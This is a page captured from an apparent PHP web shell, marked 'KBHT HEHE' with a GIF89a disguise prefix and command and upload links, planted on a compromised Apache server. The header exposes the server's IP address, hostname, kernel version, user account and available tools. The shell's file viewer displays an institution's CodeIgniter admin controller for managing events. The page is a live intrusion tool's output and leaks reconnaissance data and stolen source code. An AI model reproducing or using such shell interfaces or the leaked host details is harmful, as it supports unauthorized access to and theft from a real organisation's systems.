GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.119.192.2
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../alumni/../css/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../alumni/../css/../cas/application/controllers/admin/Events.php
<?php

/**
 * Controller class for handling all requests related to events.
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Events extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/EventManagement');
        $this->load->model('admin/CourseManagement');
        $this->load->model('admin/DepartmentManagement');
        $this->load->model('admin/SubDepartmentManagement');
        $this->load->model('admin/SessionManagement');
        $this->load->model('admin/AchievementManagement');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $eventFilteredRecords = array();
            $events = array();
            if (isset($_POST['filterSubmitBtn'])) {
                $selectedSession = trim($this->input->post("session"));
                $selectedEventType = trim($this->input->post("eventType"));
                $selectedStartDate = (trim($this->input->post("startDate")) == "") ? "" : date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("startDate")))));
                $selectedEndDate = (trim($this->input->post("endDate")) == "") ? "" : date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("endDate")))));
                $selectedRangeAppliedWith = trim($this->input->post("dateRangeAppliedWith"));
                $selectedCoures = trim($this->input->post("course"));
                $selectedDept = trim($this->input->post("department"));
                $selectedSubDept = trim($this->input->post("subDepartment"));
                $eventFilteredRecords = $this->EventManagement->getEventReport($selectedSession, $selectedEventType, $selectedCoures, $selectedDept, $selectedSubDept, $selectedStartDate, $selectedEndDate, $selectedRangeAppliedWith)->result();
            } else {
                $eventFilteredRecords = array();
            }
            if (sizeof($eventFilteredRecords)) {
                for ($i = 0; $i < sizeof($eventFilteredRecords); $i++) {
                    $record = $eventFilteredRecords[$i];
                    $sub_depts = explode(",", $record->iem_sub_depts);
                    $sub_dept_info = array();
                    $depts = explode(",", $record->iem_depts);
                    $dept_info = array();
                    $courses = explode(",", $record->iem_courses);
                    $course_info = array();
                    foreach ($sub_depts as $sub_dept) {
                        array_push($sub_dept_info, stripslashes($this->SubDepartmentManagement->getSubDepartmentInfoBy($sub_dept)->result()[0]->sub_dept_name));
                    }
                    foreach ($depts as $dept) {
                        array_push($dept_info, stripslashes($this->DepartmentManagement->getDepartmentInfoBy($dept)->result()[0]->dept_name));
                    }
                    foreach ($courses as $course) {
                        array_push($course_info, stripslashes($this->CourseManagement->getCoursesBy($course)->result()[0]->sub_dept_name));
                    }
                    array_push($events, array(
                        'iem_id' => $record->iem_id,
                        'iem_title' => stripslashes($record->iem_title),
                        'iem_description' => stripslashes($record->iem_description),
                        'iem_sub_depts' => implode(',', $sub_dept_info),
                        'iem_depts' => implode(',', $dept_info),
                        'iem_courses' => implode(',', $course_info),
                        'iem_file' => ($record->iem_file == "" || $record->iem_file == NULL) ? "-" : "<a href='" . base_url($record->iem_file) . "' target='_blank' title='Click To View/Download'><i class='fa fa-file'></i></a>",
                        'iem_file_path' => ($record->iem_file == "" || $record->iem_file == NULL) ? "-" : base_url($record->iem_file),
                        'tsam_short_title' => stripslashes($record->tsam_short_title),
                        'session_name' => stripslashes($record->session_name),
                        'iem_start_date' => date("d-m-Y", strtotime($record->iem_start_date)),
                        'iem_end_date' => date("d-m-Y", strtotime($record->iem_end_date)),
                        'iem_active_status' => $record->iem_active_status,
                        'iem_delete_status' => $record->iem_delete_status,
                        'iem_added_by' => stripslashes($record->addedByAdmin),
                        'iem_added_on' => date("d-m-Y h:i:s A", strtotime($record->iem_added_on)),
                        'iem_updated_by' => stripslashes($record->updatedByAdmin),
                        'iem_updated_on' => date("d-m-Y h:i:s A", strtotime($record->iem_updated_on))
                    ));
                }
            }
            $viewData['allEvents'] = $events;
            $viewData['achievementHeads'] = $this->AchievementManagement->getNonDeletedActiveAchievementHeads()->result();
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['subDepartments'] = $this->SubDepartmentManagement->getActiveNonDeletedSubDepartments()->result();
            $this->load->view('admin/establishment/events', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createEvent() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['achievementHeads'] = $this->AchievementManagement->getNonDeletedActiveAchievementHeads()->result();
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['subDepartments'] = $this->SubDepartmentManagement->getActiveNonDeletedSubDepartments()->result();
            $this->load->view('admin/establishment/createEvent', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewEvent() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('eventTitle', 'Event Title', 'trim|required', array('required' => 'Event Title Can Not Be Blank.'));
            $this->form_validation->set_rules('eventType', 'Event Type', 'trim|required', array('required' => 'Please Select Event Type.'));
            $this->form_validation->set_rules('eventSession', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('eventFrom', 'Event Start Date', 'trim|required', array('required' => 'Please Enter Event Start Date.'));
            $this->form_validation->set_rules('eventTo', 'Event End Date', 'trim|required', array('required' => 'Pleaes Enter Event End Date.'));
            $this->form_validation->set_rules('eventDescription', 'Description', 'trim|required', array('required' => 'Please Enter Event Description.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createEvent();
            } else if (!sizeof($this->input->post('eventCourses'))) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Course.");
                $this->createEvent();
            } else if (!sizeof($this->input->post('eventDepts'))) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Department.");
                $this->createEvent();
            } else if (!sizeof($this->input->post('eventSubDepts'))) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Sub-Department.");
                $this->createEvent();
            } else {
                if (!empty($_FILES['eventFile']['name'])) {
                    $eventFileNameWithPath = "";
                    $configEventFile['upload_path'] = './assets/admin/uploads/events/';
                    $configEventFile['allowed_types'] = 'pdf|doc|docx|ppt|pptx|xls|xlsx|jpg|jpeg|png';
                    $configEventFile['max_size'] = '5120';
                    $configEventFile['file_ext_tolower'] = TRUE;
                    $configEventFile['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configEventFile);
                    if (!$this->upload->do_upload('eventFile')) {
                        $this->session->set_flashdata('errorMessage', "Event File Can Not Be Uploaded As It Do Not Match With Event File Criteria. File Size 5 MB Max. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.ppt,*.pptx,*.xls,*.xlsx,*.jpg,*.jpeg,*.png.");
                        $this->createEvent();
                    } else {
                        $eventFileNameWithPath = "/assets/admin/uploads/events/" . $this->upload->data()['file_name'];
                        $newEventInfo = array(
                            'iem_title' => addslashes(trim($this->input->post('eventTitle'))),
                            'iem_description' => addslashes(trim($this->input->post('eventDescription'))),
                            'iem_sub_depts' => implode(',', $this->input->post('eventSubDepts')),
                            'iem_depts' => implode(',', $this->input->post('eventDepts')),
                            'iem_courses' => implode(',', $this->input->post('eventCourses')),
                            'tsam_id' => trim($this->input->post('eventType')),
                            'session_id' => trim($this->input->post('eventSession')),
                            'iem_start_date' => date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("eventFrom"))))),
                            'iem_end_date' => date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("eventTo"))))),
                            'iem_file' => $eventFileNameWithPath,
                            'iem_added_on' => date("Y-m-d H:i:s"),
                            'iem_added_by' => $this->session->userdata("adminData")["smember_id"],
                            'iem_updated_on' => date("Y-m-d H:i:s"),
                            'iem_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                        if ($this->EventManagement->createNewEvent($newEventInfo)) {
                            $this->session->set_flashdata('successMessage', 'Event Created Successfully.');
                            redirect(current_url());
                        } else {
                            $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Event. Try Later.');
                            redirect(current_url());
                        }
                    }
                } else {
                    $newEventInfo = array(
                        'iem_title' => addslashes(trim($this->input->post('eventTitle'))),
                        'iem_description' => addslashes(trim($this->input->post('eventDescription'))),
                        'iem_sub_depts' => implode(',', $this->input->post('eventSubDepts')),
                        'iem_depts' => implode(',', $this->input->post('eventDepts')),
                        'iem_courses' => implode(',', $this->input->post('eventCourses')),
                        'tsam_id' => trim($this->input->post('eventType')),
                        'session_id' => trim($this->input->post('eventSession')),
                        'iem_start_date' => date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("eventFrom"))))),
                        'iem_end_date' => date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("eventTo"))))),
                        'iem_added_on' => date("Y-m-d H:i:s"),
                        'iem_added_by' => $this->session->userdata("adminData")["smember_id"],
                        'iem_updated_on' => date("Y-m-d H:i:s"),
                        'iem_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->EventManagement->createNewEvent($newEventInfo)) {
                        $this->session->set_flashdata('successMessage', 'Event Created Successfully.');
                        redirect(current_url());
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Event. Try Later.');
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editEvent($iem_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['achievementHeads'] = $this->AchievementManagement->getNonDeletedActiveAchievementHeads()->result();
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['subDepartments'] = $this->SubDepartmentManagement->getActiveNonDeletedSubDepartments()->result();
            $viewData['eventInfo'] = $this->EventManagement->getEventInfoBy($iem_id)->result()[0];
            $this->load->view('admin/establishment/editEvent', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateExam() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $iem_id = $this->input->post('event_id');
            $this->form_validation->set_rules('eventTitle', 'Event Title', 'trim|required', array('required' => 'Event Title Can Not Be Blank.'));
            $this->form_validation->set_rules('eventType', 'Event Type', 'trim|required', array('required' => 'Please Select Event Type.'));
            $this->form_validation->set_rules('eventSession', 'Session', 'trim|required', array('required' => 'Please Select Any Session.'));
            $this->form_validation->set_rules('eventFrom', 'Event Start Date', 'trim|required', array('required' => 'Please Enter Event Start Date.'));
            $this->form_validation->set_rules('eventTo', 'Event End Date', 'trim|required', array('required' => 'Pleaes Enter Event End Date.'));
            $this->form_validation->set_rules('eventDescription', 'Description', 'trim|required', array('required' => 'Please Enter Event Description.'));
            $eventCurrentFileName = substr($this->input->post('current_event_file_path'), strripos($this->input->post('current_event_file_path'), "/") + 1);
            if ($this->form_validation->run() == FALSE) {
                $this->editEvent($iem_id);
            } else if (!sizeof($this->input->post('eventCourses'))) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Course.");
                $this->editEvent($iem_id);
            } else if (!sizeof($this->input->post('eventDepts'))) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Department.");
                $this->editEvent($iem_id);
            } else if (!sizeof($this->input->post('eventSubDepts'))) {
                $this->session->set_flashdata('errorMessage', "Please Select At Least One Sub-Department.");
                $this->editEvent($iem_id);
            } else {
                if (!empty($_FILES['eventFile']['name'])) {
                    $eventFileNameWithPath = "";
                    $configEventFile['upload_path'] = './assets/admin/uploads/events/';
                    $configEventFile['allowed_types'] = 'pdf|doc|docx|ppt|pptx|xls|xlsx|jpg|jpeg|png';
                    $configEventFile['max_size'] = '5120';
                    $configEventFile['file_ext_tolower'] = TRUE;
                    $configEventFile['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configEventFile);
                    if (!$this->upload->do_upload('eventFile')) {
                        $this->session->set_flashdata('errorMessage', "Event File Can Not Be Uploaded As It Do Not Match With Event File Criteria. File Size 5 MB Max. & Allowed Extension: Only *.pdf,*.doc,*.docx,*.ppt,*.pptx,*.xls,*.xlsx,*.jpg,*.jpeg,*.png.");
                        $this->editEvent($iem_id);
                    } else {
                        $eventFileNameWithPath = "/assets/admin/uploads/events/" . $this->upload->data()['file_name'];
                        $eventInfo = array(
                            'iem_id' => $iem_id,
                            'iem_title' => addslashes(trim($this->input->post('eventTitle'))),
                            'iem_description' => addslashes(trim($this->input->post('eventDescription'))),
                            'iem_sub_depts' => implode(',', $this->input->post('eventSubDepts')),
                            'iem_depts' => implode(',', $this->input->post('eventDepts')),
                            'iem_courses' => implode(',', $this->input->post('eventCourses')),
                            'tsam_id' => trim($this->input->post('eventType')),
                            'session_id' => trim($this->input->post('eventSession')),
                            'iem_start_date' => date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("eventFrom"))))),
                            'iem_end_date' => date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("eventTo"))))),
                            'iem_file' => $eventFileNameWithPath,
                            'iem_added_on' => date("Y-m-d H:i:s"),
                            'iem_added_by' => $this->session->userdata("adminData")["smember_id"],
                            'iem_updated_on' => date("Y-m-d H:i:s"),
                            'iem_updated_by' => $this->session->userdata("adminData")["smember_id"]
                        );
                        if ($this->EventManagement->updateEventInfo($eventInfo)) {
                            if (file_exists("./assets/admin/uploads/events/" . $eventCurrentFileName)) {
                                unlink("./assets/admin/uploads/events/" . $eventCurrentFileName);
                            }
                            $this->session->set_flashdata('successMessage', 'Event Updated Successfully.');
                            redirect("admin/Events");
                        } else {
                            $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Event. Try Later.');
                            redirect(current_url());
                        }
                    }
                } else {
                    $eventInfo = array(
                        'iem_id' => $iem_id,
                        'iem_title' => addslashes(trim($this->input->post('eventTitle'))),
                        'iem_description' => addslashes(trim($this->input->post('eventDescription'))),
                        'iem_sub_depts' => implode(',', $this->input->post('eventSubDepts')),
                        'iem_depts' => implode(',', $this->input->post('eventDepts')),
                        'iem_courses' => implode(',', $this->input->post('eventCourses')),
                        'tsam_id' => trim($this->input->post('eventType')),
                        'session_id' => trim($this->input->post('eventSession')),
                        'iem_start_date' => date("Y-m-d 00:00:00", strtotime(str_replace('/', '-', trim($this->input->post("eventFrom"))))),
                        'iem_end_date' => date("Y-m-d 23:59:59", strtotime(str_replace('/', '-', trim($this->input->post("eventTo"))))),
                        'iem_added_on' => date("Y-m-d H:i:s"),
                        'iem_added_by' => $this->session->userdata("adminData")["smember_id"],
                        'iem_updated_on' => date("Y-m-d H:i:s"),
                        'iem_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->EventManagement->updateEventInfo($eventInfo)) {
                        $this->session->set_flashdata('successMessage', 'Event Updated Successfully.');
                        redirect("admin/Events");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Event. Try Later.');
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleEventStatus($iem_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $eventUpdateData = array(
                'iem_id' => $iem_id,
                'iem_updated_on' => date("Y-m-d H:i:s"),
                'iem_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'iem_active_status' => $toUpdateStatus
            );
            if ($this->EventManagement->updateEventInfo($eventUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Event Status Updated Successfully.');
                redirect("admin/Events");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Event Status. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteEvent($iem_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $eventUpdateData = array(
                'iem_id' => $iem_id,
                'iem_updated_on' => date("Y-m-d H:i:s"),
                'iem_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'iem_delete_status' => 'T'
            );
            if ($this->EventManagement->updateEventInfo($eventUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Event Deleted Successfully.');
                redirect("admin/Events");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Event. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteEvent($iem_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $eventUpdateData = array(
                'iem_id' => $iem_id,
                'iem_updated_on' => date("Y-m-d H:i:s"),
                'iem_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'iem_delete_status' => 'F'
            );
            if ($this->EventManagement->updateEventInfo($eventUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Event Recovered Successfully.');
                redirect("admin/Events");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Event. Try Later.');
                redirect(current_url());
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023